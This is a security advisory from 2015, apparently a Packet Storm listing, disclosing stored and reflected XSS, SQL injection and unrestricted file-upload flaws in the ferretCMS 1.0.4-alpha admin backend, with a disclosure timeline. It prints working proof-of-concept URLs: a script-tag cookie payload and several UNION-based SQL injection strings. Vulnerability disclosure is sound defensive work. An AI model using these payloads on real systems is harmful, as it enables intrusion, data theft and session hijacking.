ferretCMS 1.0.4-alpha Cross Site Scripting / SQL Injection

2015-01-23T00:00:00
ID PACKETSTORM:130077
Type packetstorm
Reporter Steffen Roesemann
Modified 2015-01-23T00:00:00

Description

                                        
                                            `Advisory:  
Advisory ID: SROEADV-2015-10  
Author: Steffen Rösemann  
Affected Software: ferretCMS v. 1.0.4-alpha  
Vendor URL: https://github.com/JRogaishio/ferretCMS  
Vendor Status: vendor will patch eventually  
CVE-ID: -  
  
Tested on:  
  
- Firefox 35, Iceweasel 31  
- Mac OS X 10.10, Kali Linux 1.0.9a  
  
==========================  
Vulnerability Description:  
==========================  
  
The content management system ferretCMS v.1.0.4, which is currently in  
alpha development stage, suffers from multiple stored/reflecting XSS- and  
SQLi-vulnerabilities in its administrative backend.  
Moreover, there exists the possibility to upload arbitrary files via the  
administrative backend, which can be executed by unauthenticated users, too.  
  
==================  
Technical Details:  
==================  
  
A reflecting XSS vulnerability can be found in the parameter "action" used  
in the file admin.php:  
  
http://  
{TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
Stored XSS vulnerabilities resides in the logging functionality of  
ferretCMS. On the administrative backend, the administrator has the  
opportunity to watch events stored in a log. An event, that gets logged,  
are login-attempts to the administrative backend, where the used username  
is displayed, too. An attacker can abuse this, by trying to log in with  
JavaScript-code instead of a username. That code gets executed in the logs.  
  
Login-form is located here: http://{TARGET}/admin.php  
  
XSS gets executed here: http://{TARGET}/admin.php?type=log&action=read  
  
Another stored XSS vulnerability can be found in the pagetitle of a new  
blog entry that is created by the administrator:  
  
vulnerable form: http://{TARGET}/admin.php?type=page&action=insert&p=  
  
XSS gets executed here: http://{TARGET}/admin.php?type=page&action=read  
  
  
The following URLs are prone to SQL injection attacks:  
  
http://  
{TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+  
  
http://  
{TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+  
  
http://  
{TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+  
  
http://  
{TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+  
  
http://  
{TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+  
  
http://  
{TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+  
  
http://  
{TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+  
  
Last but not least there is a file-upload functionality in the  
administrative backend of ferretCMS. The administrator can upload arbitrary  
files here via the following URL:  
  
http://localhost/ferretCMS/admin.php?type=uploader&action=upload  
  
Any unauthenticated user can execute/read those files that had been  
uploaded by visiting the following URL:  
  
http://{TARGET}/custom/uploads/{NAME_OF_THE_UPLOADED_FILE}  
  
  
=========  
Solution:  
=========  
  
Vendor responded, issues will be patched eventually.  
  
  
====================  
Disclosure Timeline:  
====================  
15/16-Jan-2015 – found the vulnerability  
16-Jan-2015 - informed the developers (see [3])  
16-Jan-2015 – release date of this security advisory [without technical  
details]  
21-Jan-2015 - attempt #2 to inform the developer via mail  
22-Jan-2015 - vendor responded, technical details posted to Github (see [3])  
22-Jan-2015 - release date of this security advisory  
22-Jan-2015 - send to lists  
  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Steffen Rösemann.  
  
===========  
References:  
===========  
  
[1] https://github.com/JRogaishio/ferretCMS  
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html  
[3] https://github.com/JRogaishio/ferretCMS/issues/63  
[4] https://github.com/sroesemann/ferretCMS  
  
  
`